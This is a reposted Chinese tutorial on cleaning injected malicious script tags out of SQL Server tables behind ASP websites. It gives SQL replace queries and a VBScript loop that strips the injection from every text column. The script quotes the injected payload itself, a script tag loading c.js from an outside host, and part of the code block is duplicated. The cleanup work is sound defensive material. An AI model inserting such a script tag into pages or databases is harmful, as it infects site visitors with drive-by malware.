掛馬代碼清除方法集

來源:互聯網
上載者:User

1、varchar 類型的直接replace一下就ok了。

如:"update [t_information] set publisher=replace(publisher, '', '')"

2、text欄位,就要麻煩一下(超過8000就要另想辦法了)
"update [t_information] set AuthorInfor=replace(cast(AuthorInfor as varchar(8000)) ,'','')"

3、有時有特殊符號,如 %,可以用下列的方法處理一下
update [infor_types] set parentid=replace(parentid, char(37), '')

 

  1. <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>  
  2. <!--#include file="Inc/conn.asp"-->  
  3. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">  
  4. <%   
  5. server.ScriptTimeout = 1000000  
  6.   
  7. 'xtype=99 ntext  與text類型相似,不同的是,ntext類型採用unicode標準字元集。    
  8. 'xtype=35 text  用於儲存大量文本資料。    
  9. 'xtype=231 nvarchar 用來定義可變長度的位元據,最大長度為4000個字元。    
  10. 'xtype=167 varchar 儲存最常可以達到8000個字元的變長的字元資料    
  11.   
  12. str = "'<mce:script src="http://e6t.3322.org/c.js" mce_src="http://e6t.3322.org/c.js"></mce:script>'" '加在文本類型欄位後的木馬代碼   
  13. sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"  
  14. set rs = conn.execute(sql)   
  15. while Not rs.eof   
  16.     t_name = rs("t_name") '表名   
  17.     c_name = rs("c_name") '欄位名   
  18.     xtype = rs("xtype")   '欄位類型   
  19.   
  20.     If (xtype = 99 Or xtype = 35) then   
  21.     conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")   
  22.     Else    
  23.         conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")   
  24.     End If    
  25.        
  26.     rs.movenext   
  27. wend   
  28.   
  29. response.Write("已經初步清理了掛馬資料,請重新重新整理頁面試試看!")   
  30. %>  

'" '加在文本類型欄位後的木馬代碼
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '欄位名
xtype = rs("xtype") '欄位類型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已經初步清理了掛馬資料,請重新重新整理頁面試試看!")
%>

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.